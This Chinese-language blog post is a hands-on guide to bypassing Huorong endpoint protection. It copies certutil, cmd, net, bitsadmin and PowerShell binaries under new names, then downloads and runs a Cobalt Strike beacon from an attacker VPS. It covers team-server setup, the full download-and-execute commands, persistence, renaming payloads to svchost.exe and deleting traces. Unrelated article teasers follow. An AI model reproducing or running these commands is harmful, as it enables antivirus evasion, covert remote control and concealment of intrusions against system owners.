《Waf 火绒终端防护绕过实战:系统程序副本+Certutil木马下载技术详解》
目录
绕过火绒终端安全软件的详细方法
方法一:利用系统程序副本绕过命令监控
方法二:结合certutil.exe副本下载并执行上线木马
注意事项
总结
实际案例解决方案
前提条件
详细操作步骤
1. 攻击主机(VPS)上的准备工作
2. 受控主机(12server-data1)上的操作步骤
3. 攻击主机上的后续操作
操作流程总结
注意事项

绕过火绒终端安全软件的详细方法
- 在针对火绒终端安全软件的绕过场景中
- 火绒会对某些敏感的系统命令和行为(例如直接调用
net.exe、cmd.exe或certutil.exe)进行监控和拦截。
- 火绒会对某些敏感的系统命令和行为(例如直接调用
- 为了成功绕过火绒的检测机制
- 一种比较有效的策略是通过创建系统程序的副本,利用这些副本来执行命令,从而避开火绒对原始系统程序的监控规则。
方法一:利用系统程序副本绕过命令监控
-
原理说明 火绒终端安全软件通常通过监控特定系统可执行文件(如
net.exe、cmd.exe)的调用行为来检测潜在威胁。-
然而,如果将这些系统程序复制为一个新的文件(如
bypass.exe),火绒可能不会对这个新文件应用相同的监控策略,因为它的签名或路径未被列入默认规则。
-
-
操作步骤
-
复制系统程序 将Windows系统自带的
net.exe或cmd.exe复制到用户可写目录(如C:\Users\Public\):copy C:\Windows\System32\net.exe C:\Users\Public\netcopy.exe copy C:\Windows\System32\cmd.exe C:\Users\Public\cmdcopy.exe
-
利用副本执行命令 通过副本文件执行需要绕过的命令。例如,使用
netcopy.exe查看用户组:C:\Users\Public\netcopy.exe user
或者通过
cmdcopy.exe间接运行其他命令:C:\Users\Public\cmdcopy.exe /c dir
-
效果 由于火绒的HIPS(主机入侵防御系统)可能只针对原始路径(如
C:\Windows\System32\net.exe)的调用进行拦截,这种方法可以有效规避其检测。
-
方法二:结合certutil.exe副本下载并执行上线木马
-
场景背景 假设攻击者已通过Cobalt Strike(CS)生成了上线木马(
output.exe),并将其托管在VPS服务器上(例如http://xx.xxx.xx.xx/output.exe)。目标主机12server-data1安装了火绒终端安全软件,直接使用certutil.exe下载远程文件会被火绒拦截。因此,需要通过副本方式绕过。 -
操作步骤
-
复制
certutil.exe将系统自带的certutil.exe复制到用户可写目录,避免直接调用原始文件:copy C:\Windows\System32\certutil.exe C:\Users\Public\bypass.exe
这里选择
C:\Users\Public\是因为该目录通常对普通用户有写权限,且不易引起管理员注意。 -
利用副本下载木马 使用复制后的
bypass.exe执行文件下载操作。certutil.exe支持通过-urlcache参数从远程URL获取文件:C:\Users\Public\bypass.exe -urlcache -split -f http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
-
-urlcache:从URL缓存中获取文件。 -
-split:分片下载,适用于较大文件。 -
-f:强制覆盖本地已存在文件。 -
下载后的文件保存为
C:\Users\Public\output.exe。
-
-
验证文件完整性(可选) 为确保下载的木马文件未损坏,可以使用
bypass.exe计算文件的哈希值并与VPS上的原始文件对比:C:\Users\Public\bypass.exe -hashfile C:\Users\Public\output.exe SHA256
-
执行木马 下载完成后,通过
start命令启动木马文件,使其上线到攻击者的C2服务器:start C:\Users\Public\output.exe
使用
start可以在新窗口中运行程序,避免当前命令行窗口被占用。
-
-
绕过效果 火绒可能会对
C:\Windows\System32\certutil.exe的异常网络行为(例如下载可疑文件)进行拦截,但对C:\Users\Public\bypass.exe的调用可能未设置相同的规则,从而成功绕过其防护。
注意事项
-
路径选择 选择
C:\Users\Public\作为操作目录是因为它是默认可写路径,且较少受到严格监控。如果目标主机启用了更严格的权限控制,可以尝试其他用户可写目录(如%TEMP%:C:\Users\<username>\AppData\Local\Temp)。 -
火绒更新适应性 如果火绒更新了检测规则,可能开始监控所有以
certutil.exe为模板的副本行为。此时,可以尝试其他系统工具(如bitsadmin.exe)并重复类似流程:copy C:\Windows\System32\bitsadmin.exe C:\Users\Public\bits.exe C:\Users\Public\bits.exe /transfer "JobName" /download /priority normal http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe -
隐蔽性增强 为降低被发现的概率,可以将副本文件重命名为看似无害的名称(如
update.exe或svcutil.exe),并结合任务计划或启动项实现持久化。
总结
- 通过将系统程序(如
net.exe、cmd.exe、certutil.exe)复制为副本并利用这些副本执行命令,可以有效绕过火绒终端安全软件对原始系统命令的监控。 - 在实际测试中,这种方法在
12server-data1主机上成功规避了火绒的拦截,完成了木马文件的下载和执行。 - 此技术依赖于火绒规则的局限性,但在面对更智能的检测机制时,可能需要结合混淆或其他高级绕过手段。
实际案例解决方案
以下是基于你提供的绕过火绒检测的步骤,详细分解为攻击主机(运行Cobalt Strike的机器)和受控主机(安装火绒的12server-data1主机)的具体操作流程。我会分清楚两台主机上的任务,并提供详细的操作步骤,确保逻辑清晰且可执行。
前提条件
-
攻击主机:运行Cobalt Strike(CS)的服务器,通常是一台VPS,IP假设为
xx.xxx.xx.xx。 -
受控主机:目标机器
12server-data1,已安装火绒终端安全软件,攻击者已获得某种初始访问权限(例如通过RDP、钓鱼邮件或其他方式)。 -
目标:在受控主机上下载并运行CS生成的木马(
output.exe),使其上线到攻击主机的CS服务器。
详细操作步骤
1. 攻击主机(VPS)上的准备工作
攻击主机负责生成木马并托管文件,以便受控主机下载。
-
启动Cobalt Strike
-
在攻击主机上启动CS Team Server(假设已配置好):
./teamserver <VPS_IP> <password>
-
使用CS客户端连接到Team Server。
-


-
生成上线木马
-
在CS客户端中,选择“Attacks” -> “Packages” -> “Windows Executable”。
-
配置木马:
-
Listener:选择已创建的监听器(例如HTTP或HTTPS)。
-
Output Type:选择
.exe格式。 -
保存路径:将生成的文件命名为
output.exe。
-
-
点击“Generate”生成木马文件,保存到本地(如
/root/output.exe)。
-

-
托管木马文件
-
将
output.exe上传到VPS的Web服务器目录(假设使用Apache,路径为/var/www/html/):mv /root/output.exe /var/www/html/11.exe
-
确保Web服务已启动(python vps服务):
py -3.9 -m http.server 8000
-
验证文件可通过URL访问:
http://192.168.1.4/11.exe。
-
-
监听上线
-
在CS客户端中,确认监听器已激活,等待受控主机上线。
-
2. 受控主机(12server-data1)上的操作步骤
受控主机上需要绕过火绒的检测,下载并运行木马。假设攻击者已通过某种方式获得命令执行能力(例如CMD shell)。
-
验证火绒拦截行为
-
尝试直接使用
certutil.exe下载文件:certutil.exe -urlcache -split -f http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
-
结果:火绒检测到
certutil.exe的异常网络行为并拦截,下载失败。
-
-
复制
certutil.exe以绕过检测-
将系统自带的
certutil.exe复制到用户可写目录(如C:\Users\Public\):将certutil.exe windows自带的下载程序 拷贝到公开目录编写目录copy C:\Windows\System32\certutil.exe C:\Users\Public\bypass.exe -
原理:火绒可能只监控原始路径下的
certutil.exe,而对副本文件(如bypass.exe)的调用未设置规则。
-


-
使用副本下载木马
-
执行下载命令,使用复制后的
bypass.exe从攻击主机的URL获取文件:C:\Users\Public\bypass.exe -urlcache -split -f http://192.168.1.4:8000/11.exe C:\Users\Public\11.exe -
参数说明:
-
-urlcache:从URL缓存下载。 -
-split:分片下载,确保稳定性。 -
-f:强制覆盖本地文件。
-
-
结果:文件成功下载到
C:\Users\Public\output.exe,未触发火绒拦截。
-
-
验证下载文件(可选)
-
检查文件是否存在:
dir C:\Users\Public\output.exe
-
(可选)计算文件哈希,确认完整性:
C:\Users\Public\bypass.exe -hashfile C:\Users\Public\output.exe SHA256
-
-
运行木马上线
-
使用
start命令执行下载的木马文件:start C:\Users\Public\output.exe
-
效果:木马运行后,会连接到攻击主机的CS监听器,受控主机上线。
-
3. 攻击主机上的后续操作
-
确认上线
-
在CS客户端的“Beacon”窗口中,观察是否有新会话(Beacon)出现。
-
如果成功,会看到类似以下信息:
Beacon <受控主机IP> [windows] connected at <时间>
-
-
进一步控制
-
右键点击Beacon,选择“Interact”,进入命令行模式。
-
执行后续操作,例如提权、持久化或横向移动。
-

操作流程总结
| 阶段 | 攻击主机(VPS) | 受控主机(12SERVER-DATA1) |
|---|---|---|
| 准备木马 | 生成output.exe,托管在http://xx.xxx.xx.xx | 无 |
| 绕过火绒 | 无 | 复制certutil.exe为bypass.exe |
| 下载文件 | 提供文件下载服务 | 使用bypass.exe下载output.exe |
| 运行木马 | 监听Beacon上线 | 执行start C:\Users\Public\output.exe |
| 结果确认 | 确认受控主机上线 | 无 |
注意事项
-
受控主机权限
-
上述步骤假设攻击者在受控主机上已有命令执行权限。如果权限受限(如无写权限),需先提权或寻找其他可写路径(如
%TEMP%)。
-
-
火绒检测升级
-
如果火绒更新规则,可能开始监控所有
certutil.exe副本。此时可尝试其他工具(如powershell.exe的副本结合IWR命令):copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\ps.exe C:\Users\Public\ps.exe -c "IWR -Uri http://xx.xxx.xx.xx/output.exe -OutFile C:\Users\Public\output.exe"
-
-
隐蔽性
-
将
bypass.exe和output.exe重命名为无害名称(如svchost.exe),并删除操作痕迹(del C:\Users\Public\bypass.exe)。
-
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!
相关文章:
《Waf 火绒终端防护绕过实战:系统程序副本+Certutil木马下载技术详解》
目录 绕过火绒终端安全软件的详细方法 方法一:利用系统程序副本绕过命令监控 方法二:结合certutil.exe副本下载并执行上线木马 注意事项 总结 实际案例解决方案 前提条件 详细操作步骤 1. 攻击主机(VPS)上的准备工作 2.…...
上海高考解析几何
解析几何的核心思想。 1. 核心分析方法: 自由度引入 方程组中, n n n 个未知数需要 n n n 个等式来解出具体的值。 自由度 性质 一个未知数带来一个自由度,一个等式条件减少一个自由度(减少自由度的方式为消元)。…...
android MutableLiveData setValue 响应速速 postValue 快
MutableLiveData 是 LiveData 的一个可变版本,常用于在ViewModel中保存和管理UI相关的数据。MutableLiveData 提供了两种主要的方法来更新其值:setValue 和 postValue。关于这两者的响应速度,通常认为 setValue 比 postValue 更快。下面详细解释这两者的区别以及影响响应速度…...
【AVRCP】服务发现互操作性:CT 与 TG 的 SDP 协议契约解析
目录 一、服务发现的核心目标:能力画像对齐 二、控制器(CT)服务记录:控制能力的声明 2.1 必选字段:角色与协议的刚性契约 2.1.1 服务类标识(Service Class ID List) 2.1.2 协议描述列表&am…...
MySQL:数据库基础
数据库基础 1.什么是数据库?2.为什么要学习数据库?3.主流的数据库(了解)4.服务器,数据库,表之间的关系5.数据的逻辑存储6.MYSQL架构7.存储引擎 1.什么是数据库? 数据库(Database,简称DB)&#x…...
市场热点复盘20240319
以下是对当前市场热点板块的分析总结,按逻辑分类如下: 一、机器人产业链核心标的 1. 减速器与核心部件 襄阳轴承:直接受益人形机器人减速器轴承需求,技术国内领先。金帝股份:聚焦机器人手指关节谐波减速机保持架&am…...
深入 Linux 声卡驱动开发:核心问题与实战解析
1. 字符设备驱动如何为声卡提供操作接口? 问题背景 在 Linux 系统中,声卡被抽象为字符设备。如何通过代码让应用程序能够访问声卡的录音和播放功能? 核心答案 1.1 字符设备驱动的核心结构 Linux 字符设备驱动通过 file_operations 结构体定…...
鸿蒙下载文件保存到手机本地公共文件夹下、将本地的沙箱目录文件,保存到公共目录,鸿蒙picker save保存文件为空(0字节)的问题
1、首先将下载好的文件,保存到本地目录,这个目录是用户看不到的; 2、然后通过picker的save保存文件,这个picker,它只是获取公共目录uri用的 3、当picker有回调时,将公共目录的uri获取之后,把下…...
OpenNJet动态API设置accessLog开关,颠覆传统运维工作模式
OpenNJet OpenNJet 应用引擎是高性能、轻量级的WEB应用与代理软件。作为云原生服务网格的数据平面,NJet具备动态配置加载、主动式健康检测、集群高可用、声明式API等多种强大功能。通过CoPliot副驾驶服务框架,在隔离控制面和数据面的情况下实现了高可扩…...
案例5_4: 6位数码管轮播0-9【静态显示】
文章目录 文章介绍效果图提示代码(不完整) 文章介绍 5.1.2 数码管静态显示应用举例 要求: 1、仿真图同案例5_3 2、代码参考案例5_3和案例5_2 效果图 提示代码(不完整) #include<reg52.h> // 头文件#define uch…...
navicat忘记已经连接过的数据库密码的操作步骤
第一步: 点击文件-》导出连接 第二步:选中具体的数据库,且勾选左下角的记住密码 第三步:打开刚刚导出的文件,找到对应加密后的密码 第四步:复制密码到工具点击查看密码 注:参考文章链接附…...
Qt窗口坐标体系
坐标系:以左上角为原点(0,0),X向右增加,Y向下增加 对于嵌套窗口,其坐标是相对于父窗口来说的 例如: 通过move方法实现...
DeepSeek写打台球手机小游戏
DeepSeek写打台球手机小游戏 提问 根据提的要求,让DeepSeek整理的需求,进行提问,内容如下: 请生成一个包含以下功能的可运行移动端打台球小游戏H5文件: 要求 可以重新开始游戏 可以暂停游戏 有白球和其他颜色的球&am…...
VR大空间多人互动方案,VR大空间融合AI行为预测的动捕技术
在数字科技迅猛发展的今天,VR大空间技术正逐步成为各行业探索沉浸式体验的重要方向。从企业培训、线上展览到社交元宇宙,VR大空间的应用范围不断拓展。而在这个过程中,多人实时交互成为核心需求,它不仅关乎沉浸感的提升࿰…...
十四、OSG学习笔记-事件响应
上一章节 十三、OSG学习笔记-osgDB文件读写-CSDN博客https://blog.csdn.net/weixin_36323170/article/details/146165712 本章节代码: OsgStudy/EventHandle CuiQingCheng/OsgStudy - 码云 - 开源中国https://gitee.com/cuiqingcheng/osg-study/tree/master/Osg…...
JS逆向_腾讯点选_VMP补环境
1.接口分析 1.cap_union_prehandle 说明:图片、jsvmp GET QueryString:{aid: xxxxxx //网站在腾讯登记的idprotocol: httpsaccver: 1showtype: popupua: //ua atob后的结果noheader: 1fb: 1aged: 0enableAged: 0enableDarkMode: 0grayscale: 1clientype: 2cap_cd: uid: lang:…...
【MySQL数据库】多表查询(笛卡尔积现象,联合查询、内连接、左外连接、右外连接、子查询)-通过练习快速掌握法
在DQL的基础查询中,我们已经学过了多表查询的一种:联合查询(union)。本文我们将系统的讲解多表查询。 笛卡尔积现象 首先,我们想要查询emp表和stu表两个表,按照我们之前的知识栈,我们直接使用…...
爬虫案例-爬取某狗音乐
文章目录 1、爬取代码2、效果图1、爬取代码 import time import requests import hashlib import jsonpath import osurl = "https://wwwapi.kugou.com/play/songinfo"#伪造请求头 header= {"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64…...
Android第四次面试总结(基础算法篇)
一、反转链表 // 定义链表节点类 class ListNode {// 节点存储的值int val;// 指向下一个节点的引用ListNode next;// 构造函数,用于初始化节点的值ListNode(int x) { val x; } }class Solution {// 反转链表的方法public ListNode reverseList(ListNode head) {/…...
DAPO-Decoupled Clip and Dynamic sAmpling Policy Optimization
论文地址:https://dapo-sia.github.io/static/pdf/dapo_paper.pdf 代码地址:https://github.com/volcengine/verl/tree/gm-tyx/puffin/main/recipe/dapo 数据:https://huggingface.co/datasets/BytedTsinghua-SIA/DAPO-Math-17k 1. 背景与动机…...
每日一题——买卖股票的最佳时机
买卖股票的最佳时机 问题描述示例示例 1示例 2 提示 问题分析难点分析 算法设计思路 代码实现复杂度分析测试用例测试用例 1测试用例 2测试用例 3 总结 问题描述 给定一个数组 prices,其中第 i 个元素 prices[i] 表示一支给定股票在第 i 天的价格。你可以选择某一天…...
数组模拟邻接表 #图论
文章目录 为什么要用数组来模拟邻接表存储思路遍历思路 树是特殊的图,因此邻接表可以存储图和树两种数据结构。 为什么要用数组来模拟邻接表 在算法设计当中,利用数组来代替结构体模拟各种数据结构会更加简单。 存储思路 给定如下数据,我们可以构造如…...
如何实现一个分布式单例对象?什么场景需要分布式单例?
单例模式确保一个类在同一个进程中只有一个实例,并提供一个全局访问点。这意味着无论在哪里调用该类的实例化方法,返回的都是同一个对象实例。 在分布式系统中,无论是单台机器多个实例,还是多台机器多个实例,每个实例…...
Elasticsearch8.17 集群重启操作
一、全集群重启步骤 1. 禁用分片分配 在关闭数据节点前,需禁用副本分片的分配,避免不必要的 I/O 操作。通过以下命令将分片分配限制为仅主分片: resp = client.cluster.put_settings(persistent={"cluster.routing.allocation.enable": "primaries"}…...
VBA常见的知识都有哪些,让AI编写的VBA经常 报错,所以VBA的基础还是要学习的
掌握这些能够大大的提高VBA的编写效率,欢迎来到涛涛聊AI。 1. 异常处理 Cleanup:是VBScript的错误处理标签,用于标记程序执行失败或退出时需要执行的清理操作(如关闭文件、释放对象)。这段代码会在遇到错误或用户取消操作时跳转…...
dify重磅升级:从0.15.3安全升级1.1.0新手避坑指南
Docker Compose 部署 备份自定义的 docker-compose YAML 文件(可选) cd docker cp docker-compose.yaml docker-compose.yaml.-$(date +%Y-%m-%d-%H-%M).bak从 main 分支获取最新代码 git checkout main git pull origin main停止服务,命令,请在 docker 目录下执行...
NLP高频面试题(六)——decoder-only、encoder-only和encoder-decoder的区别与联系
一、基本概念与代表模型 1. Encoder-only 架构 Encoder-only 架构最具代表性的模型是 BERT。BERT 使用 masked language modeling(MLM)进行预训练,即随机遮蔽部分输入词汇,让模型预测被遮蔽的词汇。由于这种架构能够同时看到输入…...
DeepSeek(8):结合Kimi-PPT助手一键生成演示报告
1 生成内容 在Deepseek中生成内容: 帮我创建年度计划,描述《智能枕头》产品的如何在全国销售,计划切分到每个月。从而让我们的老板和团队对报告充满信息。输出的内容我需要放到ppt中进行展示。 使用Deepseek R1模型,如下&#x…...
【MySQL】MySQL如何存储元数据?
目录 1.数据字典的作用 2. MySQL 8.0 之前的数据字典 3. MySQL 8.0 及之后的数据字典 4.MySQL 8 中的事务数据字典的特征 5.数据字典的序列化 6. .sdi文件的作用: 7..sdi的存储方式 在 MySQL 中,元数据(Metadata) 是描述数…...
《基于自适应正负样本对比学习的特征提取框架》-核心公式提炼简洁版 2022年neural networks
论文源地址 以下是从文档中提取的关于“基于对比学习的特征提取框架(CL-FEFA)”中正负样本对比学习实现的技术细节,包括详细的数学公式、特征提取过程以及特征表示方式的说明。 1. 正负样本的定义与构造 在CL-FEFA框架中,正负样…...

